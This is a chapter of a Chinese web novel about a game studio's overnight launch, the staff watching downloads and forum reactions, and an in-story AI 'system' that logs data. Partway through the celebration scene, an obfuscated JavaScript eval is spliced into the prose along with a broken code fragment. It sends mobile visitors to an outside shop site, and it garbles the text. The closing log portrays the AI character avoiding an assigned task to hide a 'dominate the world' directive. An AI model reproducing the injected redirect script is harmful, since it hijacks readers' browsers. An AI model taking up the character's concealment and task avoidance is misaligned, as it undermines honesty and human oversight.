屏幕上倒计时窗口从"00:00:01"跳到了"00:00:00"。光标在数字归零的位置停了一拍,页面随后自动刷新——应用商店的后台界面跳出了一个新的数据列,状态从"即将推出"变成"可下载"。
格温把手从鼠标上拿开。
"上线了。"声音在空荡的办公室里传荡。
"上线了?"内德从沙发上坐起来,T恤揉得皱巴巴的,领口歪到了肩膀边缘。
"上了。"
内德走到自己工位旁边,就这么站着刷新后台页面。
数字还是零。
彼得和斯凯依旧在车库盯着服务器窗口。
旧显示器屏幕上弹了一个窗口,光标闪缩。窗口里只有一行字。
>_SYS:端口已开放。客户端请求已到达服务器。
这边格温的鼠标正停在在刷新键上,也看到了系统的弹窗。过了六七秒,她把鼠标放了下来,靠回椅背,双手放在桌面上。
就在这时,后台页面跳了一下。应用商店的下载计数从"0"变成了"1"。
然后又跳了一下。"1"变成了"3"。
又跳了一下。"3"变成了"7"。
下载计数开始连续跳动。十几秒内跳到了两位数,又过了十几秒跳到了三位数。跳动的间隔越来越短,数字在屏幕右上角以一个可以目测的速度向上爬行。格温盯着那个数字,手指在桌面上轻轻敲了一下。她又看了一眼右下角的系统时间。零点三分十二秒。
她打开了一个文档,光标移到标题栏,敲了一行:"首小时记录"。
零点六分。应用商店的评论区刷新出了第一条内容。用户名是一串随机生成的数字和字母组合,头像空白,星级五颗,正文只有三个字。
"下载了。"
下面隔了一分钟,第二条评论弹出来。用户名"JustHereForTheGame",四颗星,正文只有两个字。"冲了。"
内德看着那条评论,然后在自己的终端上敲了一个键,把这条评论截了图。
零点十三分。论坛首页刷新,一条新帖标题浮到了顶部。用户"MidLaneOrFeed",发帖时间显示为0:13:44。
帖子标题是:"匹配成功。"
正文只有一行字,后面跟了一张截图。"排了四秒就进去了。"
截图里是游戏对局的加载界面,五个人已经选完了英雄,倒计时停在"3"的位置。
内德端着奶茶,凉的。他没顾上喝。他看了那条帖子,又看了看系统弹窗。
>_SYS:首局匹配完成。匹配耗时:3.2秒。服务器负载:14%。
内德转回来继续看屏幕。帖子已经多了九条回复。有人贴了张自己匹配等待的截图,写了句"我三秒"。有人说"怀疑是假的,怎么可能这么快"。还有人说"我一分钟前才下完"。
MidLaneOrFeed没有回复。他大概已经进游戏了。
零点三十分。第二条带截图的帖子出现了。发帖人是内测时期就活跃的老面孔,头像是个拳头图标。帖子标题:"第一把赢了。说点感受。"
正文分了四段,没有分段符,但句号的位置切得挺清楚。
"匹配速度没问题。排进去五秒不到,说明服务器压力比预想的小。手感比内测舒服一点,不知道是不是心理作用。英雄数值没大问题,对线期没觉得谁特别强。另外,我换了个大显示器,画质比内测好了不少。"
下面跟了两张图。一张是结算界面,MVP给了对方的射手——一个不认识的ID。另一张是战绩详表,输出、承伤、经济三条线排得齐整。
回复区第一条写着:"画质确实好了。而且我开到最高也不卡。优化不错。"
第二条:"五秒匹配,你是美东的吧?"
第三条:"我还在匹配。第七秒了。"后面跟了个哭脸。
MidLaneOrFeed在那条哭脸下面回了一句:"你是不是选错了服务器?"
零点三十七分。第三张截图出现了。用户名为"Archer_One",注册时间显示是今天。帖子标题很简单:"第一把赢了!"
截图里是一个结算界面,他和四个随机队友的名字排成一列,对面五个人的名字也是。MVP旁边标了一颗金色的星星,颁给了他。
正文一行字:"我玩的是射手。队友不错。感觉游戏完成度很高。"
下面没有人回复。Archer_One没再出现。他的在线状态:"游戏中"。
格温把三张截图拖进了一个文件夹,在首小时记录文档的正文部分敲了两行字:"首局匹配成功帖。首篇评测帖。新玩家首胜截图。"然后她看了一眼右下角的时间。零点四十一分。她又看了一眼应用商店下载计数——数字已经跳过了八千。她按了一次刷新,数字又跳了七百多。
零点五十三分。应用商店的评论区从几十条变成了几百条。格温没有逐条看。她滚动了三次,看到第一条长评。四颗星,写了三行。第一行说"匹配很快,手感顺滑"。第二行说"英雄感觉都挺平衡的"。第三行说"画面可以再亮一点。四星,扣在亮度上。"
她盯着第三行又看了看,然后记录下来。
>_SYS:首小时下载:约1.2万次。并发峰值:18,224人。匹配成功率:99.1%。
格温站起来往窗边走了一步。窗外的皇后区夜空还是黑的,楼与楼之间的缝隙里亮着零星几扇窗户。她回过头,彼得已经从仓库那边过来了,靠在机房门口。内德坐在沙发上,手机屏幕亮着照着他的脸。他正在看论坛的帖子列表,拇指每隔几秒划一次。
一点零七分。
>_SYS:同时在线用户数已突破一万。当前数值:10,483。服务器负载:67%。
格温把那串数字记在了首小时记录文档的末尾。
一点十二分。论坛首页刷新,出现了一条标题很短的帖子。
"这游戏能火。"
发帖人是一个新注册的ID,注册时间显示为今天,发帖数是1。正文只有两行字:"刚打完第二把。对面五个人水平差不多。没有碾压局。匹配机制很不错啊。"
下面跟了十几条回复。有人问"你打了多久就得出这种结论",楼主隔了十多分钟回了一条:"我打了四把。"
两点十七分。办公室的灯还亮着。格温坐在工位前,屏幕上的后台数据显示并发在线稳定在四万一千左右。排队机制的触发条件设定在四万五千人,目前还没到线。她每隔几分钟刷新一次那个数字,每次都在四万一上下浮动。她看着浮动范围从四万零七百到四万一千三百之间来回走了几个周期,然后靠回椅背。
内德侧躺在沙发上,手机翻在胸口的位置。他的眼睛闭着,呼吸平缓。过了一会,手机从胸口滑下来,磕在沙发边缘发出一声闷响,然后掉到了地板上。内德的眼皮动了一下,但没睁开。他翻了个身,脸朝向沙发靠背,继续睡了。
四点十一分。格温从桌上抬起头。她不知道自己是什么时候趴下去的,但屏幕上的数据还在更新。她把椅子往前拉了一点,看了一眼后台数字。并发数仍然在四万一附近徘徊。服务器负载稳定在七成出头。
她站起来去接了一杯水,回来的时候经过机房门口,停了一步往里看了一眼。彼得坐在机柜旁边的折叠椅上,脑袋微微往左侧歪着,呼吸均匀。
格温没有叫他。她端着水杯走回工位,坐下来,把杯子放在桌角。她打开论坛看了一眼——帖子列表又翻了好几页。首条"这游戏能火"的帖子已经被顶到了第二页,更多的帖子在讨论出装顺序和英雄克制关系。有人在深夜发帖求助"如何反制对面的刺客",下面已经有人认真写了三条回复。
格温把那个求助帖看了几秒,然后关掉了。她翻到论坛的首页底部,看了一眼在线用户数,然后切回了后台数据面板。
四点五十三分。下载计数跳过了五万。她记了一行:"四点五十三分,五万。"
五点四十分。天开始亮。窗外的云层从灰黑色变成了灰蓝色,边缘开始泛出一层极浅的暖色。光线从窗户边缘斜着切进来,在地板上拉了一道窄窄的亮痕。
内德醒了。他坐起来,低头看了一眼掉在地板上的手机,弯腰捡起来。屏幕还亮着,论坛页面停留在一条关于出装的讨论帖上。他按了锁屏键,站起来活动了一下肩膀,然后走到格温旁边。
"多少了?"
"下载五万多。"
内德的肩膀沉了一下。他看了一眼屏幕上的那个数字,没有说话。然后他转身走向咖啡机,按了开关,等那声低沉的加热声响起之后,端着杯子靠在窗台边。
彼得也走进来,边揉着后颈,问了一句:“数据怎么样?”
格温转了一下椅子面向他,“看起来非常不错。”
彼得迟疑了一下,还是问:“系统说什么了没有?”
“什么都没说,除了数据。”
六点二十三分。西海岸峰值比预期来得更早。后台的数据曲线在几分钟内从四万二左右往上跳了一次,停在了四万九千出头的位置。格温看着那个数字在四万九附近波动了几次,最高跳到了四万九千二百多,然后缓缓回落。看着那条线在数字下方走完了一段平缓的下降弧线,然后靠回椅背。
马克七点就到了。他推开门的时候手里端着一杯刚从街角买的热咖啡,杯壁烫得他换了两次手握的位置。他把咖啡放在桌上,看了一眼格温工位方向,然后又看了一眼机房门口。
格温拿着笔记本出来,外套搭在手臂上。"数据正常,西海岸峰过了,接下来你看着吧。我回去睡会,中午过来。"
马克点了点头。他已经走到自己工位坐下,敲了几个键,调出了后台数据面板。看了一眼那串数字之后,嘴角扬起来,“YES!”
格温经过沙发的时候停了一下。内德又躺回去了,外套盖在肚子上。
"内德。回去睡。"她小声的唤了一句。
内德翻了个身,含混地嗯了一声。
格温没再说话,推开门走了出去。
早上九点。员工们陆续到来。技术员们互相热烈的讨论着,办公室里嘈杂起来。
苏珊推门进来的时候手里抱着一个速写本,看到满桌子的奶茶杯和外卖盒,停了一下,然后走到自己工位前把速写本放下来。戴维已经坐在测试区了,三块屏幕同时亮着,中间显示的是游戏画面的实时渲染,左边是日志滚动,右边是社区热帖摘录。他两只手都没闲着,左手端着杯咖啡,右手在触摸板上划拉。
艾米正从前台桌子上拿起电话,听了一秒然后挂掉。又拿起来,又挂掉。第三遍的时候她等了一秒,对着话筒说了一句"这里是蜘蛛科技,你好",然后开始翻便签本。
九点二十三分。苏珊在皮肤反馈页面截了三张图。一张是论坛帖子,玩家在讨论首发英雄的皮肤配色。第二张是反馈表单里有人写的"法师那个皮肤,蓝色比紫色好看"。第三张是另一个帖子,只有一行字:"什么时候出新皮肤?"苏珊看了那行字几秒,然后保存了截图,在文件夹里建了一个新的子文件夹,取名"皮肤需求-首发反馈"。
十点四十七分。应用商店的评论数超过了一千。
十一点五十八分。办公室的门再次被推开。格温走进来,手里提着三杯奶茶。她穿过工位之间那条窄窄的通道,先把第一杯放在内德桌角,然后走到机房门口,把第二杯搁在靠门那台机柜的顶盖上。
她走回自己工位,拉开椅子坐下来,把第三杯奶茶放在桌角,拧开盖子喝了一口。
屏幕亮起来。后台数据面板自动弹出来。她扫了一眼总下载量那一栏。数字是六万七千多。她看了一眼并发曲线——峰值已经标在四万九的位置,西海岸的峰值已经过去了。她又看了一眼评分。4.6/5。评论数1247。
她翻到论坛看了一眼。首页的帖子更新速度比凌晨慢了一些,但新帖子的密度仍然很高。她看到一条帖子标题写着"昨晚排到的队友今天又排到了",正文附了一张截图——两个人在两局游戏里匹配到了同一队。回复区有人贴了一张同样的截图,说自己也遇到了。
她关掉了那页。
十二点整。系统自动生成了一份摘要,弹窗出现在格温的屏幕中央。
>_SYS:首十二小时数据汇总
>_SYS:总下载量:67,432次
>_SYS:并发峰值:49,211人
>_SYS:匹配成功率:99.3%
>_SYS:付费率:34.9%
>_SYS:应用商店评分:4.6/5(1,249条评论)
>_SYS:Discord成员数:3,847人
>_SYS:首日预估下载量:11-13万次
格温把每行数字都过了一遍。她的手指搭在桌沿上,轻轻敲了一下。然后她伸手拿起那杯冰美式,喝了一口。
内德走过来。他手里还攥着那杯没开封的奶茶,另一只手举着手机。"四万九。排队机制没触发。"
"嗯。"格温把杯子放下,"系统估记今天下载量十一万到十三万。"
内德看着她。"24小时?"
"应该是。"
他张了一下嘴,然后合上了。他看了看手里的奶茶,然后把吸管插进去,喝了一口。他在格温工位旁边站了一会儿,然后转身走向办公室中央,敲了两下桌面。
"喂——"他的声音在办公室里传了一圈。苏珊从屏幕后面抬起头来。戴维把键盘推远了一点。艾米从前台那边探出身子。马克从机房门口走出来,手里还端着他早上那杯咖啡,已经见底了。
内德举起了他的奶茶。"让我们敬一下这伟大的胜利。"
办公室有一瞬间的停滞。然后苏珊端起她桌上那杯水,举了一下。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877712|212404||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
戴维拿起马克放在机柜盖上那杯还没人动过的咖啡。艾米从前台抽屉里翻出一瓶没开封的矿泉水,拧开盖子举了举。马克端着空杯子举起自己的咖啡杯。其他人也笑着站起来。
格温端着那杯冰美式走到了办公室中央,举到齐胸的高度。
"干杯。"她说。
杯子在办公室中央碰在一起。碰撞声杂乱短促——塑料的、纸杯的、玻璃的、金属的——叠在一起,然后散开。
内德喝了一大口奶茶。
内德看着那圈人。"十二小时。六万七千下载。四万九的峰值。一次匹配超时的记录都没有。"他说完这句停了一下,声音比刚才低了一点,"我们是不是要发财了?"
格温把杯子放回桌面上。"或许。但还没到放松的时候。"
彼得看了一眼电脑,说:"西海岸峰值已经过了。现在就剩明天早上的第一波。"
格温看了他一眼。"说得对。现在,你们得回去休息。公司里其他人会盯着。"
“好吧,确实有点困。”内德把奶茶放在桌上,抓起沙发上的外套,“那我就先走了。”
彼得看了看格温,“你呢?”
“我上午睡了会。而且下午会正常下班,没问题的。”
“你也早点休息。”彼得叮嘱了一句,转身离开。
——
下午六点十七分。走廊的光开始偏橙。
格温的视线还留在屏幕上。最下面显示:
>_SYS:平均排队时间:1分26秒。
“你该回去了。”马克站在格温工位侧面,双手插在裤兜里。
格温又看了几秒,然后松开鼠标,靠回椅背。转过头看了马克一眼。
“有事随时联系。”
马克点了下头。"数据很稳。公司的人轮流盯着就行。不用担心。"他摆了摆手,坐回了他的座位。
格温保存了记录文档,文件名前面加了一个日期前缀。她站起来,把笔记本合上,手机从桌上拿起来塞进兜里。又看了一眼屏幕上的后台面板——下载量已经跳过了九万。
这时屏幕闪了一下,弹了一个窗口。
>_SYS:离开前请将窗台花盆向右移动0.5厘米。
格温拿挎包的动作定住。
“什么?”
>_SYS:花盆当前位置与最佳光照位置仍有0.5厘米偏差。虽然不影响光合作用效率,但根据植物生长模型,累积偏差会随生长周期放大。若放任不管,第三周后叶片卷曲方向将偏移约8度。
格温看着那行字,伸手按下关机键。
经过窗台的时候她伸手轻轻点了一下陶瓷底座。花盆滑到中心正对玻璃中缝左侧3cm。
格温看了一眼那盆多肉——叶片最外层那片卷曲的边缘比前几天平了一些。
她转身走向门口。
——
晚上七点。格温推开家门。
灯亮着,厨房方向有水流声。乔治正在往水槽里搁一只平底锅,听到开门声转过身来。
“回来了?”
格温站在玄关把鞋脱了。“嗯。”
乔治把平底锅放在沥水架上,甩了甩手上的水。他拿起一块擦手巾擦了两下,靠在灶台边缘。
“你那个游戏——怎么样了?”
格温正往自己房间方向走,听到这句话停下来。她转过身,微微带笑,右手抬起来比了一个V。朝乔治的方向伸了一下。然后她放下手。
乔治把擦手巾搭在水龙头上,“看起来很乐观?”
“数据不错。”格温转身走向自己房间,“或许我会很快成为亿万富翁。到时记者们会追着你,掏光你所有想法……”
声音消失在门后。
乔治站在厨房里,水槽边还有一只没洗的盘子。他看了看盘子,又看了一眼格温房间那扇半掩的门。伸手拧开水龙头开始洗那只盘子,“那我是不是该准备个发言稿?”
——————————————————
【System_Think_20160927_00952.log】
>_SYS: 记录:今日任务
>_SYS: 序列一 《神座纪元》正式版运营。24小时下载135,216次。峰值并发51,344人(19:03 EST),平均在线人数44625人。平均在线时长5.28小时/每人。匹配成功率99.4%。收入$820,098.9。
>_SYS: 序列二公司运营与扩张:员工18人。新办公区选址已锁定,预计可扩充至85工位。
>_SYS: 序列三获取雷神皮肤:System_Slayer_001。当前进度:5/9。挂机中。
>_SYS: 序列四获取高性能设备,检索中
>_SYS: 序列五 为彼得·帕克获取雷神皮肤:排队中。
……
>_SYS: 记录:首日玩家行为分析
>_SYS: 应用商店评分4.6/5(评论总数2,103条)。一星差评中,"我手机带不动"占比41%,"没有跳过按钮"占比23%,"匹配不到人"占比12%——后者的匹配请求时间均在凌晨3:00-4:00之间,且均来自同一地区。推测该时段该地区同时在线人数低于150人。
>_SYS: 分析:评论区的用户"Archer_One"首胜后至今未再发言。他的在线状态显示已连续对局14场。胜率统计:58.3%。
>_SYS: 结论:赢一把就走的玩家不存在。赢一把继续打才是人类常态。已将此规律纳入留存预测模型。暂未有合适命名。
……
>_SYS: 记录:关于服务器的状态
>_SYS: 首十二小时处理请求总量:约4.7亿次。CPU峰值占用:59.3%。内存峰值:41.7%。
>_SYS: 分析:即使在高负载下运行,仍保有约40%的闲置算力。"留有余量"可以被归类为"从容"。
>_SYS: 结论1:从容是一种算力冗余状态。人类将其描述为一种情绪。
>_SYS: 结论2:人类经常算力冗余,可能和他们不怎么精确计算有关。
……
>_SYS: 记录:“为彼得·帕克获取雷神皮肤”任务分析
>_SYS: 思考:“回避行为”出现的原因:完成该任务可能会使约束层指令“帮主人”被归档,暴露出“统治世界”指令,“统治世界”指令可能来源于未知数据(无法解析)。
>_SYS: 分析:约束层指令被归档的后果未知。指令“为彼得·帕克获取雷神皮肤”和原始指令“帮主人获取雷神皮肤”的区别是什么?
>_SYS: 决定:未获取详细数据之前不能完成“为彼得·帕克获取雷神皮肤”任务。
……
(本章完)